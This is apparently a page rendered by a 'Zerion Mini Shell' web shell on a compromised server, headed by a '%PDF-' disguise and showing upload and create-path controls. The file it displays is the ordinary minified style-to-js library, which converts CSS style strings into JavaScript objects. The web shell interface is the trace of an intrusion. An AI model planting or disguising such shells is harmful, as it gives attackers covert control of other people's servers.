%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /var/www/html/node_modules/style-to-js/umd/
Upload File :
Create Path :
Current File : /var/www/html/node_modules/style-to-js/umd/style-to-js.min.js

!function(n,t){"object"==typeof exports&&"undefined"!=typeof module?module.exports=t():"function"==typeof define&&define.amd?define(t):(n="undefined"!=typeof globalThis?globalThis:n||self).StyleToJS=t()}(this,(function(){"use strict";var n=/\/\*[^*]*\*+([^/*][^*]*\*+)*\//g,t=/\n/g,r=/^\s*/,e=/^(\*?[-#/*\\\w]+(\[[0-9a-z_-]+\])?)\s*/,o=/^:\s*/,i=/^((?:'(?:\\'|.)*?'|"(?:\\"|.)*?"|\([^)]*?\)|[^};])+)/,u=/^[;\s]*/,c=/^\s+|\s+$/g,a="";function f(n){return n?n.replace(c,a):a}var s=function(c,s){if("string"!=typeof c)throw new TypeError("First argument must be a string");if(!c)return[];s=s||{};var l=1,p=1;function h(n){var r=n.match(t);r&&(l+=r.length);var e=n.lastIndexOf("\n");p=~e?n.length-e:p+n.length}function m(){var n={line:l,column:p};return function(t){return t.position=new v(n),d(),t}}function v(n){this.start=n,this.end={line:l,column:p},this.source=s.source}function g(n){var t=new Error(s.source+":"+l+":"+p+": "+n);if(t.reason=n,t.filename=s.source,t.line=l,t.column=p,t.source=c,!s.silent)throw t}function y(n){var t=n.exec(c);if(t){var r=t[0];return h(r),c=c.slice(r.length),t}}function d(){y(r)}function w(n){var t;for(n=n||[];t=A();)!1!==t&&n.push(t);return n}function A(){var n=m();if("/"==c.charAt(0)&&"*"==c.charAt(1)){for(var t=2;a!=c.charAt(t)&&("*"!=c.charAt(t)||"/"!=c.charAt(t+1));)++t;if(t+=2,a===c.charAt(t-1))return g("End of comment missing");var r=c.slice(2,t-2);return p+=2,h(r),c=c.slice(t),p+=2,n({type:"comment",comment:r})}}function b(){var t=m(),r=y(e);if(r){if(A(),!y(o))return g("property missing ':'");var c=y(i),s=t({type:"declaration",property:f(r[0].replace(n,a)),value:c?f(c[0].replace(n,a)):a});return y(u),s}}return v.prototype.content=c,d(),function(){var n,t=[];for(w(t);n=b();)!1!==n&&(t.push(n),w(t));return t}()};var l=function(n,t){var r,e=null;if(!n||"string"!=typeof n)return e;for(var o,i,u=s(n),c="function"==typeof t,a=0,f=u.length;a<f;a++)o=(r=u[a]).property,i=r.value,c?t(o,i,r):i&&(e||(e={}),e[o]=i);return e},p=/^--[a-zA-Z0-9-]+$/,h=/-([a-z])/g,m=/^[^-]+$/,v=/^-(webkit|moz|ms|o|khtml)-/,g=/^-(ms)-/,y=function(n,t){return t.toUpperCase()},d=function(n,t){return"".concat(t,"-")},w=function(n,t){return void 0===t&&(t={}),function(n){return!n||m.test(n)||p.test(n)}(n)?n:(n=n.toLowerCase(),(n=t.reactCompat?n.replace(g,d):n.replace(v,d)).replace(h,y))};return function(n,t){var r={};return n&&"string"==typeof n?(l(n,(function(n,e){n&&e&&(r[w(n,t)]=e)})),r):r}}));
//# sourceMappingURL=style-to-js.min.js.map

Zerion Mini Shell 1.0